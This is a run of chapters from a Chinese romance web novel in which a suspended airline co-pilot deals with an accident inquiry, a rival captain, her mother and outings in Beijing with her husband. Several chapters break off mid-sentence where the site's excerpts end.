黎念拉开餐椅坐下,修长的双腿优雅自然地交叠。她要仔细欣赏他的“作品”。 大理石餐桌上,数量浮夸的骨瓷浮雕盘铺陈开来,几乎每个盘里都盛着一两块金黄焦香的面包,有羊角、玛德莲和淋上酸奶缀以坚果莓果的煎吐司,黄油的香气浓郁香甜。 ——再精致漂亮也没用,没有一个是黎念平时爱吃的。 她偏向于有锅气的热腾腾的中式早餐。小面配上正宗川味臊子为最佳,现炸的油条蘸着豆浆吃次之,实在不行来一笼新鲜出炉的碎肉包也差强人意。 旁边的银制双头蛋杯里堪堪放着一枚鸡蛋,表层摸上去还带着些许热温,像是刚煮好的。她一边腹诽家里什么时候竟然新添了这种只在外国宫廷历史剧里出现过的矫情餐具,一边取出鸡蛋在桌角轻轻一磕。 流出来的溏心弄脏了她的手。 她随便在超市买的鸡蛋又不是那种可以生吃的无菌蛋,真的不怕闹肚子吗。 黎念突然想起谢持曾经在刘斯扬婚礼上说过的,他不喜欢吃西餐。 根本就是在乱讲。 他不但很爱吃,还很会吃。蛋要煮成半熟,敲开上面的壳撒上胡椒和盐挖着食用。面包要抹上足够多的奶酪和莳萝。喝也只喝现磨的咖啡或者铺着果酱的酸奶。 她在各式各样的面包里纠结半晌,选定了月牙型的羊角包。酥皮层层叠叠,泛着莹润的油光,咬下去的瞬间如雪片掉落。 黎念几乎可以认定,这些食物绝对不是在国内能买到的,因为现在没有一家烘焙房会放致死量的糖进面粉里,大家对甜品的最高评价就是“不甜”。 羊角包散发的甜腻直接蔓延到了舌根,这本是用来感应苦味的部位。她咬了一口便把面包万分嫌弃地放回盘里,倒杯水漱掉口中的味道。 法国人一块马卡龙就着咖啡能吃一下午果然不是网络段子。 他们的口味是真的很重…… 但她不在巴黎,也没有闲情逸致戴着墨镜坐在塞纳河畔品咖啡读报纸。 抬头扫了一眼挂钟,时针指向了数字“8”。现在打车去公司还来得及,如果不堵车的话。 黎念回到房间简单洗漱过后,直接蹬着运动鞋匆忙离开。左脚后跟一时情急没有塞进鞋里,她想去整理却应接不暇,一蹦一跳地跌进了电梯。 没注意看清前路,迎面撞上了一堵墙。 比想象更软更热,还略微带点弹性。 黎念伏在男人的胸膛前,紧紧揪住对方的上衣布料。等她回过神来,羞愤得想找个地缝钻进去的心都有了,连忙闪避开。 也不知道是谁这么倒霉被她撞到。 虽然摸起来手感超赞。 电梯门在此刻很应景地关上。 她定睛一看。 咦,这不她那爱吃齁甜法式小面包的未离婚夫嘛。 谢持身上的黑色短袖被抓得发皱。他看起来像是刚结束力量训练,上身的肌肉还处于充血状态,把一件原本很合身的t恤撑到紧绷。 淡漠的目光垂落下来,像是早春细密的凉雨。 “嗨。”黎念伸手打了个招呼,笑靥如花。经过一天的适应,她快要对无孔不入的谢持免疫了。 她盯着那一小块凌乱的布料,越看越不顺眼,见对方没有要整理的意思,便上前一步动手帮他抚平褶皱。 “不好意思啊,着急出门没看到你在这。” 谢持屏住呼吸,不动声色任由着她摆布。待到她手里的动作停住,才按下电梯负一层的按钮。 “没事,我送你。”他惜字如金。 诶? 黎念猛然抬眼,发现他的视线直直掠过她,虚无地落在前方。 他故意不看她,面色阴沉。 她耸耸肩,抱着臂默默跟在谢持的身后,走到了电梯间门口正对着的停车位前。 还是昨天的那辆白色宾利添越。 平时这里一直空着。因其宽敞开阔而位置优越,其他住户总会疑惑到底是谁占据了这么好的资源却要暴殄天物。 顶上的车牌号码用黄铜镶就,放眼望去是一串简洁的数字。她以前路过的时候从未留心注意。 黎念抬头仔细研究了一下。 ——京N·99101 挺靓一个号,甚至不是新能源。但数字的排列组合好像并无特别之处。对于她这种普通小市民而言,能摇到车牌都要谢天谢地了,专门斥重金买一串除了自己谁都猜不出玄机的数字纯属浪费钱。 第一次坐谢持亲自开的车,黎念想也没想直接上了后排。 谢持从后视镜凉飕飕剜了她一眼:“真把我当司机了?” 黎念故意开玩笑:“师傅,到航兴路10号院大兴机场海云基地东门。” “……” 她见谢持迟迟未动,继续补刀:“您快点儿开吧,八点五十五之前就得到,晚一分钟我可是要给差评的。” 谢持把这辈子背诵过的关于修身养性的名言警句在脑海里全部过了一遍,隐忍到快要憋成内伤。攥着方向盘的手因为使了劲,显出筋骨脉络。 他最终还是平息了想要把她扔出车窗的冲动,乖乖发动汽车。 黎念这辈子就没见过这样开车的人。 谢持一路猛踩油门,从无数辆车旁边呼啸掠过。 虽然有很多懂行的司机自动变道避让,但也遇到过一些被遮挡得严严实实的情况,都让他几乎擦身而过,惊险万分。 其实这台SUV百公里加速4.5秒的性能放在车水马龙的南六环上无疑大材小用,但黎念在接连不断的加减速和横向漂移中竟感到阵阵晕眩。她以前学飞时,在固滚、活滚、旋梯“三大神器”的常规考核中总能轻松拿满分,结果到了谢持的车里,再硬的身板也扛不住这般折腾。 要不是怕打扰他开车,她差点就要哭闹着下去了。 刚经历过生死考验的人怎么受得住二次伤害! < 12. 厄里斯 《风起时吻你[先婚后爱]》全本免费阅读 赵斌依然在一线飞行,平时很少久留于办公室。 此处陈设朴素简洁,但要素齐全。 门口镶着玻璃窗的红木立式柜没有用来存放书籍,里面满是各种奖杯奖状奖牌,甚至还有他在公司内部乒乓球大赛中荣膺中年组第三名的奖品——一副未拆封的红双喜。 窗边是经典猪肝红办公桌,上面除了公司安装的台式电脑、退役二十年纪念保温杯和一盆叶子快被养秃的的绿箩,再也无别的杂物。 桌对面放着两把折叠椅,但没人敢坐,来找他的人一般都站着。 一众民航局下凡来的polo衫大佬往黑色皮质沙发里一坐,颇有三堂会审的威逼意味。 “小黎来了啊,”赵斌化身笑面虎,眼睛眯成两条细小的缝,“赶紧坐。” 事出反常必有妖,赵斌平时都管她叫“那个谁”或者“你你你”,哪会如此亲昵。 黎念反手把门关上,伫立在原处一动不动。隐约感到右眼皮跳得厉害,笑得木然:“谢谢大队长,我就站这儿吧。您找我有事?” 她也不想坐到赵斌面前吸三手烟。 这个老烟囱肯定清早上又吞云吐雾了,整个办公室里都洇润着淡淡的尼古丁气息,从他的头发、衣服甚至皮肤里源源不断地渗出来。 赵斌端起保温杯,对着水面把枸杞吹开,倒也不喝,只是把杯底捧在手心里不断摩挲,滋滋声响令人不适。 “你还跟我拘谨什么?不要有心理负担啊小黎。上面找你只是想了解一下相关情况,没你想的那么严重。” 老男人的嘴,骗人的鬼。 看他这架势摆得,是存心要给她使绊子。 可惜黎念在领导的面前不敢和他扯筋,只能虚与委蛇:“嗐,您都这么说了,那我肯定知无不言,保证完成任务呀。” “有你这番话我可就放心了,”赵斌的和蔼毫无表演痕迹,“这位是从民航局航空安全办公室下来调查的刘继纬副处长,然后那一位是华北局运输管理处的……王科长。” 他转而看向离他更近的男人,言笑晏晏:“刘处长,您请讲吧。” 刘继纬微笑颔首,起身上前同黎念握手。 “黎念同志你好,我受‘8·25海云7897运输飞行重大事故’调查组指派,前来对事故有关人员进行询问。 “根据航安办2018年印发的《民用航空器事故征候》第三条第九款,本次事故构成运输航空严重事故征候。调查组于8月25日晚9时到达大兴机场35R跑道事故现场并展开了初步调查。 “经调取有关资料查明,你是事发航空器上机组成员之一,主要负责监控飞行。技术、训练、检查记录合格,具备相关资质,飞行中未涉嫌违规操作。 “但是……” 黎念原本就没睡好,听他打官腔差点没忍住哈欠,结果这个大喘气让她瞬间吓得直哆嗦。 欲抑先扬的道理她都懂,可她心脏承受能力不好。 她很想告诉领导有话不如直说,但表面上俯首帖耳愈发恭敬。认错的态度已经拿出来了,想来对方也不会忍心苛责—— “不巧的是,华北局运输管理处前天接到乘客投诉,飞机等待下客过程中,有一名年轻女性飞行员情绪失常,对其进行言语辱骂、人身攻击,加深了事故后心理创伤,极大伤害了其对民航事业的信任感,希望予以严惩。” 什么玩意儿? 黎念满头问号,很快那位白金卡的狰狞嘴脸再次浮现眼前。 不是,到底是谁情绪失常,又是谁人身攻击啊。 居然还有脸给她上价值。 “刘处长,他说的都是一面之词,请您明鉴哪!”黎念立刻哭丧着脸,痛心疾首道,“执法记录仪可留有音视频证据的。” 赵斌顺势瞥过来奚落她:“让你插嘴了吗?就在那里狡辩。” 刘继纬眼睛都不带眨的,依旧平铺直叙:“黎念,你不用太慌张。我们处理投诉必定要秉持科学严谨、审慎公正的态度,刚刚只是陈述客观事实,没有刻意针对你的意思。” “抱歉,是我失言了。”黎念不再自讨没趣,把头埋得很低。 其实她早已在脑海中演练过无数次和乘客发生冲突的后果,不管公司内部最后给出何等处罚,她都安之若素。 不过她实在没有料到对方竟然一个投诉电话直接打到民航局去,惊动了上面的大佬。人家手里头更要紧的工作是调查事故本身,而不是处理这些无聊的小case。 “我肯定相信你在和乘客打交道的时候尽到了注意义务,可是问题恰好就出在证据方面,”刘继纬继续有条不紊说道,跟个机器人似的,“记录仪内存卡里的音视频数据丢失,技术人员正在尝试恢复,但不排除失败的可能。” 真是屋漏偏逢连夜雨。一切征象都指向不利于她的局面。 黎念气得快要当场晕倒。 于是开始盘算,她今天正好没有好好吃早饭,假装昏迷送到航医那里去或许还能逃避一下。 刘继纬眼瞧她脸上红一阵白一阵,想来是把这位年轻的飞行员吓得不轻,语气跟着放软了些:“小黎啊,你跟我尽管畅所欲言,我来这一趟主要就是想了解乘客投诉的问题是否影响机上安全,不是来跟你兴师问罪的。 “况且这件事还没有被定性,你也没必要吓自己。万一最后找到证据了,对你、对乘客都能有个好的交待嘛。” 他表面上看不出情绪波动,言辞间少了点人情味,但总能让她莫名安心。这种公事公办的态度比赵斌见人说人话、见鬼说鬼话那样有信服力得多。 黎念不由自主点点头,在对方鼓励的眼神中把前天所见所闻如实复述一遍。 后面两个领导也没再多说什么,简单客套几句又行色匆匆离去。 剩下她和赵斌互相干瞪眼。 民航局的人一走,同气连枝的良好氛围装都懒得再装。 “挺能掰扯啊。”赵斌淡淡道。 黎念权当他在表扬自己,厚着脸皮:“谢谢大队长。” 赵斌从桌上取来其中一份文件,皱眉紧盯着上面的文字佯作研究半天,接着咂巴了两下嘴,发出奇怪的啧啧声。 黎念抱臂静静看他作秀,白眼都快翻到天上去。 “你看看你啊……”赵斌伸手弹了弹那张纸,“意气用事惹怒乘客,害得公司跟着一起遭罪。不成熟,忒不成熟。可恶,实在可恶哪……” 等到他阴恻恻的眼风飘过来,黎念连忙把手恭敬地交叠在小腹前,浅浅鞠了一躬:“领导教育的是。我一定痛改前非,努力提升思想境界,凡事以领导马首是瞻,绝不再给公司形象抹黑。” 赵斌听她又在油嘴滑舌,登时生出一拳打在棉花上的无力感,眼里的火苗升腾跳跃。他冷笑一声,把文件甩过去:“认错再快也没用,公司的处分已经下来了,你收拾收拾准备回家躺着吧。” 黎念眼疾手快接住在空中翻飞的纸张,大致浏览一遍。首先映入眼帘的便是“停飞一个月”的字眼,并无降级、扣除年终奖等其他惩处。 考虑到她刚经历过一场空中浩劫,公司甚至很贴心地为她安排了心理辅导和康复治疗。 她先是如释重负松了口气,又不免一阵担忧。等到之后民航局的调查结果下来,公司的惩处措施估计还要加码。 赵斌不耐烦挥挥手让她赶紧走开,她六神无主 13. 厄里斯 《风起时吻你[先婚后爱]》全本免费阅读 九点四十。 公司食堂的早餐还有二十分钟停止供应。 黎念摸着瘪瘪的肚子,决定在回家之前薅点公司的羊毛。 她百无聊赖等了会儿电梯,遇到好几次满载的情况,终于踩着点抢到了食堂窗口里的最后一屉黑松露瑶柱烧麦。 海云航空上世纪九十年代创立于粤省深城,由当地某国企控股33.4%。总部设在深城宝安国际机场,并在京城、沪城、蓉城、冰城、春城等国内一二线城市设有分公司和基地。 它乘着改开的时代春风势如破竹,短短四十年不到的时间就发展成为全国运营机队规模最大的航司,连续多年获得“SKYTRAX五星航空公司”称号。 作为刚入学就和海云签了“卖身契”的养成生,黎念从不关心这些理论知识。她只在意海云会不会垮掉,工资有没有按时发,以及食堂和机组餐好不好吃。 前不久分公司新总经理走马上任,大刀阔斧点了三把火,其中一簇烧的就是厨房。 大兴基地专门从羊城的百年茶楼高薪聘请来大师傅,三餐为员工提供正宗粤菜,并定期督导研发航食新品种。就连备餐所用到的食材也是由海云货运每日新鲜空运过来的。 员工们得了便宜还卖乖,非得背后嚼舌根说总经理是羊城人,自己喜欢吃早茶,所以拉着大家一起换口味。结果最火爆的鱼籽水晶虾饺皇、叉烧包和脆皮红米肠每天刚出炉就一抢而空。 黎念来大兴快两年,除了备份摸鱼的时候,平时上班都忙着踩点打卡,鲜少有机会可以坐下来悠闲享用一顿早餐,食堂换菜单后还是第一次来吃。 她用筷子夹起烧麦端详片刻。 不管东西南北、酸甜苦辣,中式早餐要的就是这一股通透醒神的热气,一口吞下去暖身暖心。 厨房大师傅的技艺果然精湛,和她之前飞羊城航线得闲打卡的味道相差无几。 正当黎念闭眼回味普洱茶陈旧的香味时,手机进了一条消息。 晋书艺:【姐~我今天备份,听说你也在公司,我上哪儿找你呀~】 这姑娘又闲不住了,到处找人聊天。 AAA三轮黎师傅:【食堂速来,烧麦有剩。】 黎念呷一口茶,恋恋不舍看了一眼蒸笼里剩下来的最后一块烧麦,把它推到桌角。 平时晋姝意有好吃的都会惦记着她,这种时候必须得投桃报李。 “哈啰呀我的姐——” 只闻其声,不见其人。 一个人就称得上“热闹”二字,大抵只有晋姝意。 黎念不紧不慢地放下茶杯,循声望去。 晋姝意竟然全副武装出现在了她眼前,头发盘得一丝不苟,颅顶高高隆起,妆容精致到每一根眼睫毛,连制服都穿得服服帖帖,看起来精神饱满干劲十足。 黎念眼看她招着手迈着小碎步兴高采烈地跑过来,又心疼又好笑。 凌晨五点打卡上班还这么有活力,建议多飞几次四大段感受一下人心的险恶。 按照规定,应急备需要入住公司安排的酒店,然后时刻提心吊胆等待派遣抓飞的电话。如果有原计划要飞的空乘请假或者航班发生变动,备份的人就会临时顶上去。 大家一般在签到之后就会卸妆、拆头发、狂补睡眠,根本不会像晋姝意这样到处晃悠。 一身精力使不完的大抵也只有晋姝意。 虽然小跑一阵也累得不轻。 黎念替她拉开旁边的椅子,抚着她的背帮忙顺气。 “看到你没事可真是太好了。”晋姝意气喘吁吁说道。 黎念唇角一勾,笑意清浅。 “姐,我听说了两个大瓜,你想听哪一个?”晋姝意缓过劲后,直接用黎念的筷子拈起食物往嘴里送。 但她吃相略微斯文一些,半个拳头大的烧麦得分成两口才能吃掉。 黎念被她不知所云的迷糊样给逗乐了:“你随便说,我随便听呗。” 晋姝意从衣兜里摸出一包得宝纸巾,擦了擦嘴。她精心描绘的镜面玻璃唇顿时失掉了光泽。 “法拉利拉法!” 黎念疑惑不解:“唱歌呢?” 她隐约记得短视频平台上面流行过这句歌词,像言之无物的回文诗,但挺洗脑的。 “不是,就在地下停车场,真的停了一辆。”晋姝意摇了摇食指,然后一口闷掉黎念杯中晾得冰凉的茶水,也不嫌弃别人喝过。 “哦。”黎念听起来兴致寥寥。 “姐!”晋姝意对她的反应很不满意,双手扣住她的肩膀开始剧烈摇晃,浓密如扇的假睫毛翩跹飞舞,“你不要这么人淡如菊好不好!拉法全世界就限量500台,有钱也买不到。” 黎念被晃得眼冒金星,反手锢住对方。 “在贵司出现什么都是正常现象,习惯就好嘛。” 别的不重要,只要她今早坐宾利来上班的事情没有败露就行。感谢法拉利大哥帮她吸引敌军火力。 晋姝意按住人中深吸一口气,决定不再关注她的反应,而是自顾自地继续说道:“地面服务部的邓哥说,这车似乎是一个从外航跳槽到咱们这儿的机长的,刚好他今天来公司报到。” 机长? 黎念的关键词被触发,耳朵自动竖起来。 “他也飞A350,你俩以后说不定还会搭班呢。好像叫邢什么……”晋姝意一边翻微信群里的聊天记录,一边嘴里嘟囔着,“噢!邢方舟!” 她举起手机给黎念看。 黎念心里咯噔一下。那张欠揍的脸立刻映射眼前。恍若有股恶气从胸中涌上来,怎么也消解不掉。 阴魂不散的东西,竟然跟她飞的机型都一样。 真该死啊。 晋姝意见她紧攥着拳头,颇有用力到骨折的架势,连忙用自己白嫩的小手覆上去,满面愁容:“姐?你没事吧?” 黎念迅速扬眉一笑,强行掩住不宁的心绪:“我很好啊。 “不过他的‘洲’是亚洲的洲。” “咦——你俩已经认识啦?”晋姝意凑上前眨眨眼,似乎嗅到了八卦的气息。 “姑且算是吧。这人脑子有问题,喜欢乱咬人。记得离他远点。” 话罢,黎念心虚地环顾四周,发现本人不在,暗地里庆幸自己逃过一劫。 “好的姐,我相信你。”晋姝意坚定点头,对她的嘱托照单全收。 “那你说的第二个瓜呢?保熟吗?”黎念这才后知后觉燃起吃瓜之魂。 晋姝意没再看手机,显然接下来的大新闻是她亲眼所见。 “我本来在一楼大厅偷偷和前台姐姐聊天,结果看到门口来了民航局的领导,全部垮着个脸,贼有压迫感。然后你猜怎么着? “里面居然混入了一个极品浓颜大帅哥!脸就不用说了,关键是身材。肩宽腰细腿还长,高出别人整整一个头,简直就是行走的衣架子。没见过穿老干部短袖衬衫穿成禁欲系‘dadd 14. 赫拉 《风起时吻你[先婚后爱]》全本免费阅读 邢方洲淡漠逡巡的目光最终落定在沙发上。他无视掉赵斌献上的小矿,迈着长腿径直朝着二人走来,斜靠进对面的座位里。 “要不是看到大队长桌上的文件都不知道,因为骂乘客停飞,真是奇葩。” 言中挑衅意味十足。 黎念把晋姝意松开,抱着臂往后一仰,向下俯视:“说够了没?” 邢方洲嗤声笑道:“翻来覆去说一年恐怕都不够,黎念,你真的太有意思了。” 黎念冷哼一声,不再搭理他,正准备拉着晋姝意离开时,发现她居然眼睛都看直了。 不是姐们儿。 关键时刻能不能不要掉链子?! 再如何使劲拽胳膊也没用,看来这妮子是铁了心要重色轻友,也把她的警告全部抛诸脑后。 黎念在内心绝望呐喊,他是会乱咬人的! 晋姝意微笑着推开黎念,低头假装整理碎发,缱绻热烈的眼神忽闪忽闪,却从未离开过男人身上:“机长!我也飞A350,咱们加个微信吧!以后有机会一起过站春城,给您带118食堂的卤米线。” 手机不知道什么时候已经递出去了。上面挂着的彩色珠链随着她的动作大幅摇晃起来。 黎念每次看到她手机背后的星之卡比立体公仔都忍不住去想,这玩意难道就不硌手吗? 但如果是晋姝意的话倒也正常。 她天生是流行趋势的弄潮儿,泡泡玛特手办是要堆满梳妆台的,jellycat大号毛绒玩具是要占据整张床的,迪士尼、bearbrick、tufting地毯……新奇的玩意没有她不沾的。 黎念更没有想到,邢方洲竟然爽快答应了对方的请求,一番操作后互相加上了好友。 属实把她看得目瞪口呆。 她甚至开始无端联想,假设晋姝意过两天告诉她两个人已经开始甜蜜约会似乎也不足为奇。小姑娘不到两年时间换的暧昧对象用两只手都数不清。 飘远的思绪被电话铃声强行拽回来。 晋姝意霎时脸色一变。 她用求助的眼神望向黎念:“姐……我好像又备上了……” 这是什么先天备份圣体?! 黎念长叹一声深表同情,轻拍她蓬蓬的头发:“早点备上总比等了一天再临时通知好呀,祝你今晚可以顺利回京。” 发型的手感太Q弹了,和摸肌肉是不一样的感觉。她都很喜欢。 等到晋姝意挂断电话和二人挥手告别后化作一缕幽魂飘走,黎念再也没闲情和面前的男人相看生厌,提起包起身离开。 “等一下!” 她对邢方洲的呼唤置若罔闻,加快脚步。 “嘿!Wait!” “黎念!” 她终于忍无可忍,转过身来横眉冷对:“我又怎么你了?” 耐心几乎在一次次交锋中被消磨殆尽。 邢方洲紧追不舍的步伐放慢下来,笑意晦涩难懂:“Missco-pilot,你难道不需要一个captain的联系方式?”说着扬了扬手中的最新款折叠屏手机,这个型号在国内尚未公开发售。 他念机长的英语单词时,“t”的发音带着浓厚的鼻音。 黎念只觉得他在刻意强调两人之间的等级差异。 她彻底沉下脸,句句带刺:“我打算现在就去雍和宫烧高香祈祷不要再遇到你,你觉得呢?” 顺带给她惨淡的事业加持一点玄学的力量,许一个早日重新归队的愿望。 “也对。”邢方洲仍是笑着,对她的敌意不以为然,反倒朝她步步逼近,俯下身来紧盯着她。 “差点儿忘了你现在处于停飞状态,说不定什么时候被卸磨杀驴了都不知道。” 此话一出,把他自己都逗乐了。 黎念听这话愈发觉得晦气,强压住对他竖中指的冲动,把挂在肩膀上的包带往上提了提,头也不回地推门出去。 思绪很乱。 乱得就像黄丽娟在秋天织毛衣时随手堆在地上的线团,被她手欠搅和在了一起,不免又是一顿打骂。 黎念哑然失笑,即便和黄丽娟一言不合就会吵架,在最窘迫的时候她还是只能想到向黄丽娟求援。 “妈……” “咋子?”黄丽娟那边听起来依然有些嘈杂。 她的冒菜铺子对面是一条比北星巷更为狭长的小巷,通往县城最大的菜市场。 沿途有许多交不起摊位费的菜农直接在路边铺一层油布卖自家现摘的新鲜蔬菜,等到城管过来执法匆忙作鸟兽散。 中年男女高声喧哗的声音混杂着尖锐刺耳的电瓶车喇叭声,一连串在黎念的耳畔炸开。曾经深恶痛绝的吵吵嚷嚷在此刻亲切得让她眼睛发酸。 “不说话我挂了,马上要来客了。”黄丽娟隔着千里之远也不知道她在抽什么风。 黎念做好被拒绝的心理建设,鼓足勇气开口:“能不能借点……” “遇到困难了?” “嗯。上面的处罚下来了,停飞一个月,期间没有收入。” 黄丽娟冷哼:“喊你娃平时不要乱花钱,外头逍遥的时候咋没想过还有这一天等着你。现在别个断你口粮你就饿得抻颈项,简直该背时!要我支援你可以,先辞职再说,不要飞了。” 黎念羞愧得无言以对。她确实容易冲动,容易意气用事,而现在也在自食其果。 “算了妈,我自己再想想办法吧。” “喂……” 黎念没等黄丽娟后话,直接把电话挂掉。 屏幕顶端弹窗显示一条新的微信消息。 - “海云7897重大事故”调查组下设若干专业小组,谢持作为特聘专家参与航空器适航和维修小组的工作中。 彼时他刚在商飞公司办结入职手续,还未来得及熟悉新的工作环境就被抽调过来。 早晨的会议散场后,谢持和本科飞行结构设计课程的老师杨竟成一同走出会议室,身后还跟着两名博士生。 杨竟成年近花甲,在复合材料结构设计技术领域深耕多年,承担科技部国家重大专项、“863计划”、自然科学基金等多个项目课题,在国内外权威学术期刊和国际会议上发表的论文数量不胜枚举,拥有20余项授权专利。 他曾经婉拒商飞公司高薪聘请,而是选择留校从事科研工作,托举起了更多后生的航空梦想。 谢持在北航就读本科期间深受杨竟成青睐,二人师生缘分在谢持远走异国读博之后暂告一段落。如今重逢于同一个工作组,虽然各自研究领域已然相去甚远,仍生出恍若隔世的亲切感。 老师没有聊专业问题,而是同他寒暄了一番生活境况,知道他已经结婚后并未过多惊讶,只是摇头感叹岁月不饶人。 从会议室到公司大门的距离不算远,但偏巧路过茶水间。 谢持行经此地时,正好撞见黎念和陌生男人亲密交谈的情形。靠得实在太近,一晃眼竟让他幻视二人在错位接吻。 她背对着玻璃幕墙站立,看不清神色几许。又不知道她说了什么,引得男人阵阵发笑,肩膀抽动得厉害。 有那么开心? 谢持收回眼风,佯装无事发生,冲着恩师淡淡一 15. 赫拉 《风起时吻你[先婚后爱]》全本免费阅读 进入二环以后,周围建筑变得低矮陈旧,扑面而来的是历史的厚重味道。明清时期的胡同到今天也能被完好保存下来。 黎念平时活动范围大多在南边的郊区,鲜少有机会进城,见了这些文物兴奋得惊呼连连。 于是谢持稍微放慢了车速,让她看得更真切一些。 连片的红墙撞入眼帘,上方亭台楼阁层层叠叠如山峦起伏,金黄琉璃瓦在太阳光的照射下闪耀到晃眼。 本来只是一时斗气,结果真让她来雍和宫了。 黎念以为谢持会停在路边让她直接下车,没想到他开到景区对面的一家四合院餐厅里,和她一同走下来。 这家餐厅在京城闻名遐迩,主营素食。 黎念朴素价值观认为内部停车场不应当是对一般游客开放的,于是好奇问他。 “这里的主厨是我朋友,之前他在LeCordonBleu进修的时候我们认识的。法国华人圈很小。”谢持想也没想就说道,然后戴上墨镜。 黎念被突如其来的外星语言砸得晕头转向:“卢什么?” 她曾经兴趣使然想学法语,因为网上买的教材快递丢件而中道崩殂,水平仅限于“你好”“我爱你”以及几句国际友好用语。 “噢……蓝带,”谢持无奈扶额,“是一家很有名的厨艺学院。” 黎念顿时想起来以前加过一个私房烘焙的微信,老板也自称是从蓝带进修回来的。不过是沪城的分校。 感觉这就像厨艺界的时尚单品。有的人履历货真价实,有的人纯属在蹭热度。 黎念有些不习惯和谢持并排走路,所以总会刻意慢下步子,任由自己被他不经意地落下一大截。 临近中午十二时,烈日悬在最高点。来往行人撑着遮阳伞摩肩接踵,游玩雅兴在汩汩流出的汗水里溶解蒸发流失。 无人在意灰瓦赭墙下她停驻脚步,除了被推挤着向前蓦然回头的他。 眼神交汇,遥遥隔着人海。 黎念觉得神奇。明明置身于人群之中,擦身而过的一切却自动虚化成了乏味平淡的斑驳黑影,只剩他眼瞳里流光溢彩依然清晰可见,熠熠生辉。 据说“佛渡正缘”,缘分浅薄的人不能一起去寺庙,否则会很快分开。 那对于他们而言呢? 得失有因,聚散随缘。 她如释重负地笑了。 跨过石砖铺就的辇道,再径直穿越中路上的雍和门、雍和宫,黎念来到目的所在法车仑殿。殿外一高一矮两株古松盘虬而立,枝叶相接,亭亭如盖。铜鼎上方滚滚白烟升腾,云雾缭绕,隐天蔽日。 前面围了里三层外三层,像是在排队等待拜垫空闲出来。 当然也有人直接把手中的雨伞手机放在地上,举着门口志愿者发放的赠香鞠了三躬,最后插空钻入黑压压的人群。 还有一些准备返校的大学生来此处打卡,双手合十不知嘴里念叨了什么,然后嬉笑着离开。 轮到黎念时,她跪立在拜垫上,虔诚闭眼,对着佛祖在心里默念姓名,身份证号和家庭住址,郑重其事许下对事业的愿望—— 希望在一个月内顺利回到工作岗位,早日左座,早日放机长。 不要遇到职场小人,不要和那个叫邢方洲的飞行员共事。 当然大队长赵斌可以离职就更好了。 暂时没有想到别的心愿,她撑着膝盖站起身,回头搜寻人群中谢持的身影。 他跟着买票进来之后只是闲庭信步随便看看,偶尔拍两张建筑物的照片,似乎对神佛不甚感兴趣,听到她说要去许愿便留在原地等候。 但现在好像不见了。 这么大个人还能走丢不成。 黎念逆着人流走走停停四处张望,撞见了方才那几个青春明媚的女学生。她们正凑在一起叽叽喳喳讨论着什么,亮晶晶的眼睛不时朝着同一个方向瞟去,带着隐秘的兴奋。 她挪近了些,勉强可以把声音收入耳中。 “是模特吗?腿好长——” “有点像最近播的古装剧的男主,不会是在拍戏吧?” “没看到摄像机啊。” 这种情形她简直熟悉得很,谁年少的时候还没看过帅哥。 循着她们的视线,黎念不消多看一眼,径直走过去。 彼时谢持正立于屋檐下,倚靠着西配殿的圆柱,低头蹙眉看手机。他一身衬衫西裤,墨镜别在领口,亮面皮鞋不染纤尘,看起来和周遭环境格格不入。 黎念现在看习惯了他的短发。干净利落,显得人更清爽更有精气神,也放大了五官深邃硬朗的优势。 想来也是,之前的形象太像个流浪艺术家。他要是敢顶着一头长卷发出入单位,怕是要被上面那些老古板天天揪着说。 谢持似乎察觉到她靠近,把手机关掉握在手里,上前迎接:“许好愿了?” 他下意识要揽住她的肩膀,动作一顿又好像想到了什么,不着痕迹地转而抬手拨了拨垂在额前的头发。 黎念没有回答,笑着反问:“你怎么不去许一个?” 谢持偏过头深深看了她一眼,继续目视前方:“想要的已经都实现了,不用再麻烦佛祖。” 黎念撇嘴,有些嫌弃他不经意间流露出来的优越:“你从小就过得顺,现在已经是人生赢家了,自然不用求神拜佛。超自然力量在大多数情况下,只能给我这种运气不好的普通人提供一点聊胜于无的心理安慰。” “黎念,不是这样的。”谢持突然变得严肃起来,有种被误解的无力。但他没有接着往下说,只是叹息一声。 黎念觉得没有和他争论的必要,也消停下来缄口不言。 她突然想进殿内观瞻佛像,脚下方向一变。 法车仑殿供奉着藏传佛教格鲁派创始人至尊宗喀巴大师的铜坐像,像背后有紫檀木雕成的五百罗汉山,庄严肃穆,令人生出敬意。 黎念有幸听说过这位佛陀。 她当初还在蓉城基地的时候,执飞过一段时间蓉城双流到西宁曹家堡的航线,住外休息时曾经慕名到当地的塔尔寺参观过。 寺庙专为纪念宗喀巴大师而建,金瓦粼粼,白塔巍然,经幡随风飘展,僧人忘我辩经,而她自由放空。 这便是黎念现在喜爱飞行员这份工作的理由,普通人也能生出翅膀,去触摸广袤天宇下每一颗同频跳动的心脏。 她注视着面含慈祥微笑的佛像,感到内心 16. 赫拉 《风起时吻你[先婚后爱]》全本免费阅读 谢持在西城上过一段时间高中,听同学提到过门钉肉饼,也亲眼见到有人打包带来学校当早餐。 这是京城的传统小吃,因其形状酷似古代城门上的门钉而得名。肉馅软烂扎实,外皮焦黄酥脆,只消咬一口就会有滚烫香腻的肉油从破皮处溢出来。 但他那时身子骨虚弱,一日三餐吃什么被周珮文严格把控,上下学都有专职司机接送,周末也鲜少出来和同学聚会闲逛,故而一直没有机会尝尝这些本地特色名吃。 什么卤煮火烧、羊蝎子、醋溜木须……都只是听说过而已。 后来读大学来到北六环的沙河高教园,进城变成一件动辄折腾几小时的麻烦事,他也逐渐远离了真正的京城生活。 黎念突然这么一提,仿佛为谢持打开记忆的阀门,让他难得来了点兴趣。 “我知道有家店就在附近,据说味道还可以,步行十分钟就能到。想去吗?”谢持问道 “你是本地人,你说了算。”黎念笑着挖苦他。 谢持瞥她一眼,面色不改地呛回去:“你不也在京城上的大学么?说起来我们还是校友。” “那能一样吗?”黎念不满地撇撇嘴。 有的人名义上在京城上学,其实前两年都没怎么离开过昌平,更何况后两年直接发配回老家川省进行飞行训练,对京城的感情实在说不上深厚。 她虽然毕业于北航,但囿于专业特殊性,四年的理论课程被要求压缩到两年之内完成,几乎每天满课。 飞行学员在生活上一直接受的都是半军事化管理,早晨六点起床,晚上十点半断电熄灯睡觉,周末强制性参加体能训练。她认识到男女力量差距之后,经常私底下给自己加训,一来二去榨干了所有自由活动时间,根本无法像那些大学生一样想翘课就翘课、想出游就出游。 谢持听她滔滔不绝讲述以前的经历,推己及人了一下,但笑不语。 两人从彩绘牌楼下穿行,来到成贤街。道路一侧停满了私家小车,让原本不够宽敞的马路更显逼仄。两旁的国槐树浓荫蔽日,挡住了三分暑气,和低矮的红墙相映成趣。 